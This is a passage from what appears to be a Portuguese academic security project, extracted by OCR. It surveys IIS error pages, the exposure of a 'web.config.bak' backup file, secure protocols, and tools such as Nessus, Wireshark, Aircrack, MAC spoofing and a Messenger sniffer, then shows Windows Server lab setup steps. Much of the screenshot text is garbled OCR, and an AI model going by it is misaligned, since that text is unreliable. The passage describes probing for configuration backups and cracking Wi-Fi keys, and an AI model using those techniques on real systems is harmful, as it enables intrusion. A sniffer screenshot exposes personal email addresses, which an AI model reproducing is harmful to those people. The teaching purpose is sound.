System.Data.Common.DhDatatdapter.Fill(DatasSet dataSet, Int32 startRecord, Int32 max<Records, String st
System.Data.Common.DbDatatdapter.Fi11{Dataset dataSet, String srcTable) +&3
System.Web.UI.WebControls. SglDataSourceview. ExecuteSel ect(Datasourcesel ectirgquments arguments) +1770
System.Web,UI.WebControls. SglDatasource, Select{DataSourceselectArquments arguments) +16
_Default.Page_Load(Object sender, Ewventfrgs e) +25

System.Web.Util.CalliHelper. EventargFunctionCal ler{IntPtr fp, Object o, Object £, EwenthArgs e) +15
System.Web.Util.CalliEventHandlerDelegateProxy.CalTback{Object sender, Eventirgs e) +34

System.Web.,UI.Contral.
System.Web.UI.Contral.

OnLoad{EventaArgs e) +29
LoadRecursive() +47

System.Web.UI.Page.ProcessRequestMain(Boolean includestagesBeforefsyncPoint, Boolean includeStagesAfi

Yersion Information: Microzoft MET Framewvwork Version: 2.0 50727 42; ASP NET Yersion: 2050727 42

Figura 5 — SQL Server error
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? 404 - File or directory not found. - Windows Internet Explorer E@M

\\:JO > |g, http://localhost/noexist | ‘1-| * | | Google o |
W [ﬁ 404 - File or directory not found. l_l f v e b Page v () Tools v

Server Error

HTTP Error 404 - File or directory not found.

Description: The resource you are looking for might have been removed, had its name changed, or is
temporarity unavailable.

Server Version Information: internet Information Services 7.0.

Done 0 Internet | Protected Mode: Off

Figura 6 — I1S Server Error

Fazer copias de seguranca para pastas locais. E comum fazer copias on the fly
com 0 copy-paste mas a realidade é que fazer isto € altamente perigoso sendo

vejamos o resultado.

/= 1IS 7.0 Detailed Error - 404.8 - Not Found - Windows Internet Explorer 10| =]
m - |g, http: ffcordova:85/web. config j |E| |E| IGDDgIeF‘T |}J '|
U7 4% 1S 7.0 Detaled Ervor - 404.8 - Not Found 3 -~ B - = - 2bPage - (Of Tooks + @+ v

Server Error in Application "PNGFIX"

Internet Information Services 7.0

— Error Summary ‘

HTTP Error 404.8 - Not Found

The request filtering module is configured to deny a path in the
URL that contains a hiddenSegment section.

— Detailed Error Information |

Module RequestFilteringModul Regquested http://cordova:85/web.config LI

e [ [ [ [ [ [ [/ Trustedstes |protected Mode: OFF [Mio% + 4

Figura 7 — Tentativa de visualizac¢éo do ficheiro de configuracéo falhada
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ﬂ'.; http:/ /cordova:85 fweb.config.bct - Windows Internet Explorer - | Ellil

|§, http: ffcordova:85/web. config.bak j i [ X IC—:-:-;&T -

'iD.? ahe ;_éhttp:f,.’mrdwa:ssfweb.conﬁg.b(t | | f-’i‘r - R - oo - .'_?}’EEQE - (,.f Tools ~ @' <

=

<?xml version="1.0" encoding="UTF-8" 7=
- =configuration=
- «system.webServer=
zdirectoryBrowse enabled="true" /=
</system.webServer>
</configuration

[
Done [ [ [ T [ [ Trustedsites | Protected Mode: OFf [# 100% - 4

Figura 8 — Visualizacdo de uma cépia do ficheiro de configuragdo com sucesso

Como podemos ver nas imagens acima, o ficheiro de configuragéo da aplicacdo Web
é encriptado e 0 seu acesso negado. Porém, se fizermos uma cépia desse ficheiro,
passamos a ter um simples documento de texto que ird surgir em plain text. Testar

paginas a procura de configuracfes-copia é um dos M.O. dos hackers.

3.3.6 Utilizacao de protocolos seguros

Uma forma de garantir a confidencialidade dos dados, usada actualmente pela maioria
das organizacdes, é 0 uso de protocolos com seguranca e encriptacdo integradas, ao
invés dos protocolos comuns em que os dados circulam em plain text sem qualquer

encriptacéo ou fiabilidade.

Protocolos como o https, pops e outros permitem transferir os dados entre um emissor
e um receptor utilizando métodos de codificacdo e descodificacdo que salvaguardem a
informacdo no caso de ser capturada por terceiros durante a transferéncia. Na seccdo
3.4 serdo descritos alguns protocolos deste tipo.
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3.3.7 Utilizacao de aplicacdes (in) seguras

Como serd possivel verificar no decorrer deste projecto, existem varias aplicacGes
disponiveis — gratuitas ou ndo — que podem aumentar consideravelmente o grau de
seguranca e de conhecimento da informacdo que circula na rede. Da mesma forma,
existem aplicagdes também relacionadas com a seguranca, mas com o objectivo de a
quebrar. Sendo que muitas sdo regularmente utilizadas por hackers, é fundamental
estuda-las e verificar que impacto tém no sistema, se realmente se pretende assegura-

lo com eficacia. Na seccdo 3.5 serdo enumeradas algumas aplicacGes deste género.

3.4 Levantamento de protocolos

De forma a implementar uma solugdo realmente segura, foram encontrados o0s

seguintes protocolos seguros usados actualmente.
3.4.1 HTTPS
Protocolo para transferéncias via Web pela porta 443.

Vejamos um diagrama dos protocolos http e https [23]:

T OET imle bhiml f
HTTP HTTP
5‘““") Contert Typs: bortiml 'Ld“’“"

Figura 9 — Protocolo http

- o
HTTPS Fiackey
Server

jent

lic key

Figura 10 — Protocolo https
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3.4.2 SSL/TLS

Conjunto de protocolos que assegura criptografia e integridade dos dados [46].
Exemplos de protocolos que usem este tipo de criptografia sdo o https e o ssh. Ao
contrario dos inseguros http e telnet, estes protocolos prevém seguranca na

transmisséo da informacao para que néo circule em plain text.

3.4.3 WS-SECURITY

Métodos de seguranca aplicada a Web services. Neste projecto vou pensada a

utilizacdo deste procotolo para servigos em aplicaces Web.

3.4.4 POPS

Recepcao segura de correio electrénico.

3.45 SMTPS

Envio seguro de correio electronico.

3.5 Levantamento de aplicacdes

A nivel das aplicagfes, é possivel encontrar um universo relativamente vasto, desde
ferramentas auxiliares ao administrador da rede, até aplicacfes mais destrutivas

usadas em grande parte com intuitos maliciosos.

3.5.1 Internet Security and Acceleration (ISA)

Aplicacdo da Microsoft para filtro de dados de entrada e saida para configuragdes
internas e externas, permitindo obter melhores desempenhos e seguranca através do

bloqueio de toda a informac&o originaria ou com destinos ndo previstos [24].
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) Microsoft Interrst Sscurity and oAt

= @ My 158 Server |““wﬁtf&
1 orioeng Acceleration Sefver 004
(£ Frewall Polcy :
) Virtual Private Networks f'_“ ——]
=55 Configuration
I, 1Y MNebwarks
W, Cache ISA Server Administration
“J Add-ins
-j al G ] § ey —— T
Gener ﬁ Administration Delegation Settingd
= View ISA Server
CH Configure Firewal Chaining ! Computer Detals
ﬁ Specify Disl-Up Prefarences %’Eﬂ-ﬁ:ﬁ: i
?E:t Specify Certificabe Revocation

Figura 11 — Microsoft Internet Security and Acceleration

3.5.2 WIRESHARK (802.3)

O Wireshark [25] é uma aplicagdo que permite capturar os dados que circulam na rede
num determinado dispositivo.

il

Description P Packets Packets/s Stop |

E# | Marvell Gigabit Ethernet Controller 0.0.0.0 0 0 gmrtl [_)r,r-ﬁor'lsl Details |

| Microsoft fed0:cshd:coscefaldsob 1 a 513rt| gpﬁonsl erisl

E#| MS Tunnel Interface Driver feB0:: 1448: 16 1esad64ds68 0 0 Start | Qpﬁonsl Details |
Help | Close

Figura 12 — Wireshark — Escolha de interfaces
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74! The Wireshark Network Analyzer -3 x|

File Edit View Go Capture Analyze Statistics Telephony Tools Help
R IRREEEE JCIEIL:
* Expression... Clear Apply

- The World's Most Popular Network Protocol Analyzer

Q@ |- M 3| E

Interface List =) Open @ Website
¥  Live list of the captue interfaces (counts incoming packets) Orpen & previoushy caprured file Wisit the projec’s website
Start capture on interface: Open Recent: @ User's Guide
E| Marvell Gigabit Ethernet Controller The User's Guide (local version, if installed)
[ Microsoft ¥ Sample Captures .
£ M5 Tunnel Interface Driver A rich assortment of example caprure files on the wiki @ Security

Work with Wireshark a5 securehy a5 possible
H Capture Options
Start 2 capture with detailed options

@ How to Capture
Step by step 1o & swocessful capture ssup

@ Network Media
Spechic information for capturing ont Ethernat, WLAN, ...

Ol Ready to load or capture | Mo Packets Profile: Default v

Figura 13 — Ambiente Wireshark

3.5.3 NESSUS

O Nessus [30], a semelhanca do MSBA [6], é uma aplicacdo de descoberta de
vulnerabilidades do sistema, podendo apresentar potenciais solucdes para corrigir
essas vulnerabilidades. E uma aplicacio para sistemas Unix, tendo sido lancada

recentemente uma verséo para utilizadores do sistema operativo Windows.
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o0 U9

Report 09/05/11 10:35:00 AM = PCi-NetworkScan ?{ Delete Expor

Scan - Report |

TRACE /Nessus31747918.himl HTTP/1.1
Connection: Close
general/icmp Host: 192.168.1.22
ssh (22/tep) Pragma: no-cache
_' User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Accept: image/gl, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, =
sunrpc (111/1cp) Accept-Language: en
sunfpc (111/udp | Accept-Charset: iso-8859-1,°,utf-8

general/udp

filenet-tms (32768/udp)

unknown (47350/tcp) CVE ' CVE-2004-2320
BID : 9508, 9561, 11604
Other references : OSVDB:877, OSVDB:3726

Nessus 1D : 11213

PCi1 DSS compliance
The remote web server is vulnerable 1o cross site scnpting (XSS)

Nessus 1D : 33009 k :

Filter... Stylesheet - | Custom Sort By Vulnerability Detail '¢{ View template

Disconnect

Figura 14 — Nessus v4

3.5.4 NMAP

E uma ferramenta de recolha de informagao de méaquinas numa rede [28] que permite:

e Encontrar maquinas
e Enumeracéo de portos e servigos

e Identificacdo de sistema operativo

3.5.5 John the Ripper

Programa open source para descodificagcdo de palavras-chave em sistemas operativos
[29].
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3.5.6 Omnipeek

Aplicacio para captura de pacotes na rede. E usado por hackers no sentido de obter
um numero elevado de pacotes que permita, usando aplica¢6es de forca bruta, obter a
chave da rede.

==X

Fie Edit View Capture Send Monitor Tools Window Help

=[O
Packets received: [ Memory usage: IIEA] | .
Packets filtered: 11 8 7] e« |Acceptonly packets matching at least ane of 2 fiters |
I Copuure = [|ES el el [ [ @ B [|57-[ 5% N[ 2 [
ach
Log packet | Source | Destination | Fiacs Size Relative Time | Protocol | Summary | Expert
Fiters T 1P 65.54.183.61 TF-192.166.1.11 355 0,000000 151 1 Sre= 1
' Expert 2 IB-65.53.183.61 Ip-192.162.1.11 560
pi— 3 IP-192.168.1.11 IP-65.54.189.61 &
Flt 4 IP-65.54.188.61 IF-182.162.1.11 570
Appicatin 5| 1P-65.54.105.61 Ip-152-162 1.1 117
| Visuals 6 IP-192.168.1.11 17-65.54.185. 61 €
.- Peer Map 7 IP-65.54.189.61 IF-182.162.1.11 560
crapns | & IP-192.168.1.11 IP-65.54.189.61 &
| Statistios 9 IP-182.162.1.11 1F-208.85.229.100 &
Nodes 10 IP-192.168.1.11 1P-216.93.180.52 a4 16,393138 HITR
Frofosols 11 IP-192.168.1.11 IP-72.3.151.39 € 16,393227 HTTR
- Summary
Upgrade:
L] |
Capturing B3 wireless Network Connection Packets: [11 Duration: 00:00:22
x| "
= o= v L e
| Date | Tme | Message [=]

i) 14082008 150821  hitpJ/206.169.32 70/images/icons/Twitter-16x16.png from 192.168.1.11
i) 14-082008 150921  hiipJi206.189.22 70fmages/shadow lefi_end.png from 192.168.1.11

i) 14082008 150921 hitpJ/206.169 32 T0fimages/shadow_horizontal_gap.png from 192.168.1.11

i) 14082009 150822  hitpJ/206.169 32 70fimagesiome_page/main_featured_boxome_main_featured_forensics.png from 192.168.1.11

i) 14082009 150922  htpi/206.169.32.70/mages/ome_page/main_featured_boxihome_main_featured_VolP.png from 192.188.1.11

i) 14032008 150922 hitpJ/206.189 32 70fimages/ome_page/main_featursd_box/eyeball_omnis_background png from 182.168.1.11

) 14082009 150922 hitp://206.168.32 T0/images/footer_box.png from 192.168.1.11

i) 14-082009 150823  hiipU/723.151 39/salog aspx?p=6212980= 30041852171 om2F Br=at=

&) 14052009 150923 hpd174.128.100.45 g 20448517 A% IF%2F Y j

i
i
=
:
2

83 Wireless Network Connection

Figura 15 — WildPackets Omnipeek Personal (em captura)

3.5.7 Air Crack (802.11 WEP WPA)

Esta aplicacdo permite decifrar o cddigo de acesso a uma rede sem fios com
algoritmos de seguranca WEP ou WPA.. Bastando para isso obter antecipadamente um
numero elevado de pacotes que permita obter dados encriptados suficientes para gerar

a chave completa. Estes pacotes podem ser obtidos usando a aplicacdo Omnipeek.
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Wowsroscc pRleT

T General |
ks
o
General Encryption type; |WEF‘ j

@ AP's Mame [ESSID]: WP -PSE

Wep &P MAC Address (BSSID): I

"

Hardware

fvr il
&

Advanced

—LCapture files:

| ol | =

jj_} Click here to locate capture file...

About

% Aprcrack the key...

Figura 16 — WinAirCrack
3.5.8 BlueSniff (802.15.3)

O BlueSniff [26] permite tirar partido de vulnerabilidades existentes no protocolo
802.15.3.

¢ para termapar):

Figura 17 — BlueSniff
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3.5.9 MAC Cloning / Spoofing (802.3 Layer 2)

O Hide My Mac Address [27] é uma aplicacdo que permite esconder ou mesmo

modificar temporariamente (spoofing) o endereco fisico de um dispositivo de rede.

Hide My MAC Address ®
"
Selected Adapter: Generic Marvell Yulkon Chipset based
Local Area Connection

'u_.:ﬁ Select Another Adapter |

— Adapter Information
Current MAC Address: 00-1A-80-A0-3E-4A

NOT HIDING YOUR REAL MAC ADDRESS ON THIS ADAPTER !
Connection: Local Area Connection

Adapter: Generic Marvell Yukon Chipset based Ethemet Contraller

IP Address: 0.000
Device ID: {5FE651259-CIBC-4F09-B524-D17A4CTRDATI}

— Spoof MAC Address

IClick To Select Saved MAC Address j 3¢ Clear

€ Moo [lee [ [ o[ e

Random 1 Restore MAC {’1? Restart Adapter
i) About... \ ] Save MAC Address ,./"i Clear Saved MACs
2/ 4 ]
¥ Advanced User Mode Copyright © 200& My Privacy Tools, Inc. All Rights Heserved.

Figura 18 — Hide My Mac Address

Poucos sabem mas o proprio controlador da placa de rede pode estar apto a modificar
0 endereco fisico do dispositivo. Para isto, deve-se aceder as propriedades do
computador, gestor de dispositivos e seleccionar as propriedades da placa de rede
local. Se a placa tiver a opcdo “Network Address” no separador “Advanced”, é

possivel que permita esta modificacéo.
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Generic Marvell Yukon Chipset based Etherne d |

General Advanced | Drriver I Details | Resources | Power Management |

The following properties are available for this network adapter. Click
the property you want to change on the left, and then select its value

on the right.

Property: Value:
FowControl .| @ IFFFFFFFF
Intemupt Moderation
IPvd Checksum Offload

Large Send Offload (IPv4) " Not Present

Log Status Messages
Max IR per Sec

Priorty & WVLAN

Receive Buffers

Speed & Duplex

TCP Checlsum Offload (IPv4)
Transmit Buffers

UDOP Checksum Offload (IPv4)
Walke From Shutdown ;I

QK I Cancel

Figura 19 — Alteracéo do endereco MAC pelo controlador do dispositivo

3.5.10 Messenger Sniffer

Esta aplicacdo permite capturar todo o trafego resultante das mensagens que circulam
no Windows Messenger em todos os pontos da rede. E uma ferramenta Util no campo
empresarial, mas também um aspecto a ter em conta na troca de informagdo
confidencial. Podera ser boa préatica, optar pelo uso de outras aplicagdes do género

(p.ex. Google Talk) para conversacoes online.
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1=
File Control Option Yiew Help Buy Mow
00/WH|»e|s
Accounts |P Address | Port | Lzer | MickMame | Messages |
E-& il | 9192.1681.23 fticd@sapo.pt Tiago Duarte .. 0
:3po. pi §9192.168.1.23 ftlcdi@hotmail, com Fernando Tiagn 2
* fted@hotmail com WM1921681.23 marianaafsilvai@amail. com;{c26d7526-4618-4bda-a155-57 7081 dd5353} 0
K marisnaafsivaBamail com:{c2E | §4192.168.1.23 marianaafsilva@gmail.com Mariana 52
f matianaafzilva@gmal com
Sl — |
| Capturing. . Al Packets: 1699 [ MSN Chats:88 4

Figura 20 — MSN Messenger Monitor Sniffer v3.5

3.5.11 Shorewall

Esta aplicacdo faz monitorizacdo do trafego na rede, podendo aplicar-se filtros de
entrada e saida para bloquear ou permitir informagc&o. E uma aplicacio de firewall que

permite dar um grau elevado de seguranga e monitorizagdo a um sistema.

Shorewall Firewall

B Feedback

€0 6 © 0 o8

| Webmin sysiem  Servers. Networking  Hordware Clusier  Others

Shorewall Firewall Shorewall version 2.0.6

Network Zones Network Interfaces Default Policies Firewall Rules
(zones) (interfaces) (policy) (rules)
- A02.1)
TOS % 530 2.24§i; \
Types of Service Masquerading Static NAT Proxy ARP
(tos) (masq) (nat) (proxyarp)
When Stopped VPN Tunnels Zone Hosts Blacklist Hosts
(routestopped) (tunnels) (hosts) (blacklist)

[ Apply Confi ation ] Click this button to activate the current Shorewall
PDIY nriguration configuration with the shorewall restart command.

YR, (Serrle i § g‘llck‘thl? l‘}l:ltt(}n‘t:(‘) Ell?t]\f?te _]ustfhe P]a(ikhst and 'l:rafflc

Figura 21 — Shorewall
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3.5.12 DansGuardian

O DansGuardian permite filtrar informacdo que circule na Web. Através da aplicacao
dos mais variados tipos de filtros, é possivel bloquear websites duvidosos e individuos
mal-intencionados que queiram tirar partido de portas ou vulnerabilidades resultantes

da comunicacéo via browser.

Mandrake Security - Mozilla Firefox
Eile Edit VWiew Go Bookmarks Tools Help

@ © @ & [ https:,“f10.0,0,222:8443{en}5ecure{index,php?where=13020&tag:|']| HQ!.

N NOVELL: Support [EdEntertainment [EdNews [EInternet Search [EdReference Maps and Directi...

O MandrakeSecurity

it ik Filtes Coifiymstion o)

System Setup

Internet Access

® DHCP Server

® Summary

Firewall Rules
VPN

Monitoring X cancel Back<+| |= Next

I oone —|1@ 0000w | ]| 6] & = |or] ool |

Figura 22 — DansGuardian

3.5.13 Sarg

Esta ferramenta € muito atil, nomeadamente para o controlo de trafego via Web,
mostrando extensos relatorios descritivos das paginas Web visitadas, com variaveis

como tempo de ligagéo, bytes transmitidos, entre muitas outras.
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Relatorio de acesso a INTERNET
Perlodo: 2006Jul26-20063ul26

Usuarlo: rosangela

ordem: BYTES, reverse

Usuarlo Relatorlo

LOCAL ACESSADO |comexio| BYTES  |wwB¥TES| IN-CACHE-OUT | TEMPO GASTO| MILISEG|0sTEMPO|
B www.previdenciasocial.gov.br | 73| 465,656| 26.55%| se.ssw| 41.15%| 00:00:12| 12,639  21.40%|
| www.mte.gawv.br | 71| 420,031 2s.46%| se.22%| s3.78%| 00:00:17| 17,105 20.24%|
| www.sindilajas-sp.arg.br | 6| 321,048 18.30%|100.00% 0.00%| o0:00:02| 2,242 3.81%)|
| www.barraira.com.br | 65| 196,028 11.18%|100.00%| 0.00%) 00:00:08]  8,024] 13.65%|
| www sescan.org.br | 42| 185,319 10.57%|100.00%| 0.00%) 00:00:03| 3,300 s.63%|
) www.eaa.arg.br | 10| 44,001  2.51%| 53.34%| 46.66%) o0:00:05| 5,238 &.00%)
B humortadela1.uol.com.br | 20/  3.,320| 1.73%|100.00%| o0.00%| 00:00:03|  3,030]  s.15%|nEGADO)
| fiscosoft.bighost.com.br | 15|  24,342| 1.30%|100.00%| 0.00%| o0:00:03| 3,157  5.37%|MEGADO|
) www40.dataprev.gov.br | 4| 20021 14| sz25m| 775w o0:00:01] 1,158 1.07%|
B humortadela.uol.com.br | 13| 19,968| 1.14%|100.00%| 0.00%| 00:00:00] 107]  0.18%|NEGADO|
) www dataprev.gov.br | 14| 8,755|  0.50%| 100.00%| 0.00%| 00:00:00| s0z|  o.51%|
| graphics.hatmail.com | 5| 7,572|  0.43%)|100.00%| o0.00%| 00:00:01]  1,110|  1.89%|nEGADO]|
@wwwl-l.bancobraill.com.br:443| 1| 1,4E4| ﬂ.ﬂﬂ%llﬂﬂ.ﬂﬂ%| u.uu%| ﬂl:l:cll:l:cll:l| 2| ﬂ.ﬂﬂ%lNEGAD-D|
| www fiscosaft.cam.br | 2| 438|  o0.02%| 0.00%|100.00%) 00:00:01] 1,280  z.19%)

ToTAL | 341)1,753,093| 2.910%|77.08%|22.92%|  oo:00:58) 58,801 o.38%)

MEDIA | 1,783|2,313,187| 00:10:25) 625,068  3.000%)|

Figura 23 — Sarg

3.5.14 Nagios

7

O Nagios é “uma popular aplicacdo de monitorizacdo de rede de cddigo aberto e

licenciado pelo sistema GPL” [31].
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Figura 24 — Nagios
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3.5.15NTOP

O Ntop [32] € uma ferramenta adicional para controlo de trafego na rede. Permite
calcular variadas estatisticas de uso e potenciais problemas de quebras de ligacdo ou

excesso de largura de banda em uso.

EB\BB Welcome to ntop!

About  Summary [P Media Admin  Utils

Info about interface Consiag

View: [ year ]| month )| week

Traffic Summary

B.Dkl

E.DKI

4.0 k

HIATLI0 T300 / T00L0HY

3.0 k o Th

2.0k ; b ; “

12:00 12: 00 o0: 00 0g: 00
W ethernet O broadcast

Fackets/sec

v

,_
43HIL30 T301 ¢ 1000034

Fackets/sec

e b A bt |

¢-

12i00 18:00 00: 00 0&: 00

W upToisie O upTot024 MW upTos12 W upTo2cE
O upTod2s M upTocd

1.EM

ok ¢ 001044

sec

Figura 25 - NTOP

3.5.16 Bastille Linux

E um programa gratuito disponivel para as distribuicdes Mandrake e Rad Hat. E um
programa de “hardening”, isto é, actua sobre um sistema tornando-o mais estavel,
mais seguro e mais fiavel, de modo a que seja um sistema “dificil” (hard) de abalar.
Este programa permite, entre outros, reconfigurar o sistema, desactivando servigos

desnecessérios, atribuindo permissoes, e configurando portas de acesso.
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Figura 26 — Bastille Linux
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4 Implementacao pratica

A seguranca (informatica) sera definida, identificada e posta em causa, através dos
mais variados meios e técnicas de avaliagdo. Apesar de este tema ser o ponto fulcral
em exposicdo, pretende-se também aproveitar o desenvolvimento pratico deste
projecto para implementar solucbes variadas e apresentar as diversas ferramentas —

utilizadas ou ndo — durante o periodo de investigacao.

Em concreto, o software de sistema a utilizar sera o “Microsoft Windows Server
2008”. Algum software aplicacional a sublinhar: MBSA, 11S, OWA, SharePoint.

Além das aplicacdes necessarias ao funcionamento de todo o sistema, serdo estudadas
outras ferramentas e metodologias normalmente usadas por peritos informaticos mal-
intencionados, de forma a revelar e corrigir falhas na seguranga do sistema. Algumas

dessas ferramentas serdo, a titulo de exemplo, o “AirCrack” e 0 “Wireshark”.

Ainda serdo inseridos pequenos moédulos a aplicacionais, tendo em vista o
guestionamento da seguranca sobre as aplicagfes (programacéo segura, seguranca em

Web services, entre outros).

Pretende-se elaborar um estudo objectivo e conciso, mas principalmente simplista, de
modo a remover potenciais limitagdes do entendimento da informacéo por entidades
ndo relacionadas com a informatica. A partida, ndo serdo assumidos quaisquer

conhecimentos-base.

Na figura seguinte apresenta-se o diagrama do sistema a implementar.
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WEB

192.168.1.1

0

((IIi)
a

\.;\\* P —

Sagem Fast 3102 PT 192.168.200254 T NQ
192.168.100.254

http://
ftp://

P ‘

WEB Server (lIS + FTP)

REale8.200.1 Cjsco Catalyst 1900
Series
( Ethernet00 D
Outlook Web Access SQL DB
Inbox Sharepoint Services
Users
DNS Server

) Virtual Server Virtual Server
Sharepoint + SQL Server

S @/ Email Server (OWA)
192.168.100.1 ™ 192.168.100.2 192.168.100.3

Figura 27 — Diagrama do sistema a implementar

Dispositivos:

e Router Wireless Sagem Fast 3102 PT (Sapo ADSL ¢/ IP Dinamico)
o 1P 192.168.1.1
o DHCP [192.168.1.100-192.168.1.255]

o WEP

e Firewall Server [P3 800MHz 512MB DDR]

o Service Gateway

e DNS Server

0 Active Directory Services
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Web Server
o lIS7
0 SQL Server 2005 Express

o FTP Server

[Virtual] Email Server

o0 Outlook Web Access 2005 c/ Exchange Server

[Virtual] SharePoint Server

Switch Catalyst 1900 Series

o0 Velocidades 10/100 Mpps
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4.1 Montagem do sistema

Apbs o estudo tedrico sobre o diagrama do sistema, aproxima-se 0 momento da sua
montagem. Com os dispositivos fisicos seleccionados e posicionados fisicamente, de
forma acessivel e arejada, chega a altura de ligar as maquinas, instalar software de

sistema e ligar cabos de rede.

4.1.1 Servidor de dominio

Este é o servidor principal que serd o controlador do dominio. As aplicacbes que
sejam instaladas a partir deste momento (Exchange, ISA, etc.) irdo ligar-se a este

dominio.

e Instalar Windows 2003 Server R2 + SP2 + updates

e Guardar cdpia da paste i386 no disco rigido

e Instalar servicos adicionais

e Configurar servico de DNS

e Executar “dcpromo” para configurar a Active Directory
e Configurar Exchange 2003 (/forestprep)

e Configurar Exchange 2003 (/domainprep)
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Sera conveniente comegar por instalar os servigos adicionais no servidor.

Metworking Services | x| |

To add or remove a compaonent, click the check box. & shaded box means that anly part
aof the component will be installed. To zee what's included in a component, chck Details.

Sul:ugimpnnents af Metwaorking Services:

Du:umain Mame System [DMN5] 1.7MEB &~
Diynamic Host Configuration Protocal [DHCP) 0.0MBE
O Internet Authentication Service 0.0 ME
O Remote Access Quarantine Service 01 e
[ B RPC over HTTF Prowy 0.0 MB
[ Simple TCPAP Services oomMe T

M L windows Internet Name Service [wINS] 0.9 MB

Dezcrptior:  Setz up a*WIMS server that registers and rezolves NetBIOS names for
clients.

Total disk zpace reguired: 79 MB Detaile, |
Space available on dizk: 150552 ME
] I Cancel |

Figura 28 — Instalacao de servigos adicionais (DNS, WINS, DHCP, SNMP)

Seré criado um novo dominio, visto que a instalacdo esta a ser iniciada e ndo existem

quaisquer dominios existentes.

Active Directory Installation Wizard | x| |
Domain Controller Type /
Specify the role you want this server tao have.

Do pou want thiz zerver to become a domain controller for a new domain or an
additional domain contraller for an exizting domain?

o Domain controller for & new domair

Select thiz option to create a new child domain, new domain tree, or new forest,
Thiz zerver will become the firzt damain contraller in the new domain.

" Additional demain contraller for an existing domain

& Proceeding with thiz option will delete all local accounts on this server.

All cryptographic kepz will be deleted and should be exported before
continuing.

All encrypted data, such az EFS-encrypted files or e-mail, should be decrypted
befare continuing ar it will be permanently inaccezsible.

¢ Back I Mest = I Cancel

Figura 29 — Criacdo do controlador de dominio
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O dominio a criar serd denomidado iseplab.local.

Active Directory Installation Wizard | x| |
Hew Domain Hame ’
Specify a nhame far the new damair.

Type the full DMS name far the new domain
[for example: headquarters. example. microsoft com).

Eull DMS name for new domair;

izeplab. local

< Back I Hest » I Cancel

Figura 30 — Defini¢cdo do nome do dominio

Nome do dominio para questdes de compatibilidade com versdes anteriores.

Active Directory Installation Wizard | x| |
MetBl0OS Domain Name /
Specify a MetBI0S name for the ness daomain.

Thiz iz the name that uzers of earlier verzionz of YWindows will uze to identify the new
domain. Click Mest to accept the name shown, or lype a new name.

Damain MetB10S name:

¢ Back I Mest = I Cancel

Figura 31 — Nome NetBIOS para o dominio
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Os passos seguintes finalizam a configuracdo da Active Directory com especificacdo

desta maquina como servidor de dominio e configurando a palavra-chave de restauro.

Active Directory Installation Wizard | x| |

DHS5 Registration Diagnostics

Werfy DMS support, or install DMS on thiz computer. %

Diagnostic Failed -

The reqgistration diagnoztic has been mwin 1 time.

W arning: Domain Cantraller functions like joining a domain, loagging onto a domain,
and Active Directony replication will not be available until the DMS infrastructure for
Active Directary iz correctly configured.

MHone of the DMS zervers used by this computer responded within the: timeout
interyal.

Far mare infarmation. including steos ta corect thiz oroblem. zee Helo. ll

" | have conected the problem. Perform the DMS diagnostic test again.

%' |ngtall and configure the DMS server on this computer, and set this computer o use
this DMS zerver az its prefered DMS server.

= | will comect the problem later by configuring DNS manually. [Advanced)

¢ Back I Mest = I Cancel |

Figura 32 — Defini¢bes DNS do dominio

Active Directory Installation Wizard | x| |
Directory Services Rezstore Mode Administrator Password /
Thiz pazsword iz used when you start the computer in Directaory Services Restore
hode.

Type and canfirm the pazsword pou want to azsign to the Adminztrator account used
when this gerver iz started in Directory Services Restore Mode.

The restore made Adminztrataor account iz different from the domain Adrinistrator
account. The passwords for the accountz might be different, o be sure ta remember

bath.
Restore Mode Password: Iu.".".".
Confirm passwarnd: I-""- "ol

For more information about Directory Services Restore Mode, see Active Directorny Help.

¢ Back I Mest = I Cancel

Figura 33 — Palavra-chave do dominio (password)

41



4.1.2 Servidor WEB

O servidor WEB serad configurado com uma instalagdo do Windows 2003 Server,

incluindo os servicos necessarios, conforme 0s passos seguintes:

e Instalar Windows 2003 Server + SP2 + updates

e Instalar IS

e Instalar .NET Framework 3.5

e Instalar Microsoft Visual Studio 2008 + SQL Server 2005 Express

’-'E Internet Information Services (IIS) Manager =101 x|
@g, [ & » CORDOVA » Sites » [EERACE

Fle View Help

I @ sites [
@ id |2 |8 P preR—
45 Start page > Set Web Site Defaults...
£ 5 CORDOVA (CORDOVAAdministrator) e ~ B - Ghshowal |Growby: o Groupng
() Application Podls Name = [ [ status [ Binding @ nep
=20 @ demos 3 Started (http) %82 (hitp) Online Help
=6 demos @ dnntest 5 Started (http) %80 (nttp)
& dnntest & Office Server Web Services 951338957 Started (http)  :56737 (http),:56738 (https]
-4 Office Server Web Services € prgfix 2 Started (http) %85 (http)
@ pngfix ) & sharepoint - 5918 261661379 Started (http)  :5918 (http)
B SharePoint - 5918 &% sharePoint - 80 2087022385  Stopped (h... 380 (http)
g ::“;“f”t ;:E“h_  Admiisteton 3 € sharePoint Central Administraton v3 335007000 Started (http) :12218 (http)
iarePoint Central ministration v.
VSewss 1 Started 127.0.0,1:1378
[z vsewss @se ried (htte) (i)
< | |
Ready a::i.:i

Figura 34 — Websites I1S v7
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4.1.3 Servidor Firewall

—
s

Tasks

Getting Started with ISA Server 2006

Foli thess steps to st 3 your ISA Server netiorks and protect Server Tasks

Before youbegin, rend about seung your 154 Server computer, e bt

Define Your ISA Server Network Configuration

seect 2 predefined nebiork lemplats 1o reste your TS Server network defeult poicy s, tospecfy AT or
route relationships bebaean your 1SA Server netorks, Related Tasks

() Export (Back Up) tis
Server Confgurator
(3) Tmport (Restore) 5 155

Server Confgurots

View and Create Firewall Policy Rules

o 154 Server corporate emal, =nd
cuisde your comperate netwark. Use the system polcy edter to define hav 1A Ser
cacurity and connactity. Resd shout syeten poley

Define How ISA Server Caches Web Content:
Define & cach: e y e s doanlosded to the cache and b

e cache areupdated.

E. Configure VP Access

Enabis and canfigure & sacure virtusl private netvork (VPN for remote chent secase to the Internal natierk.

Manitor your ISA Server etworks
Lze monitoring oplions b view current detais about your sysiem, te verify comectiity, defne alerts and ganerate reperts,

Figura 35 — ISA Server 2006 Standard Edition

e Instalar Windows 2003 Server + SP2 + updates

e Instalar Internet Security and Acceleration (ISA) 2006

-osoft Internet Security and Acceleration Server 2006

Fle  Action  Wew Help

e+ | B@[2malree
[ Microsoft Internet Security and Acceler:
=gk
-] Monitaring
£ Firewall Policy

<) Wirtusl Private Networks (VPh) /m\
-4 Configuration
i . Networks
- 8% Cache Edge
3 Addrins 3-Leg Perimeter Bl
[ General

=i Troubleshooting

internet Security &

intern: u

Acceleration Sefver 2006 Networks
Standard Edition

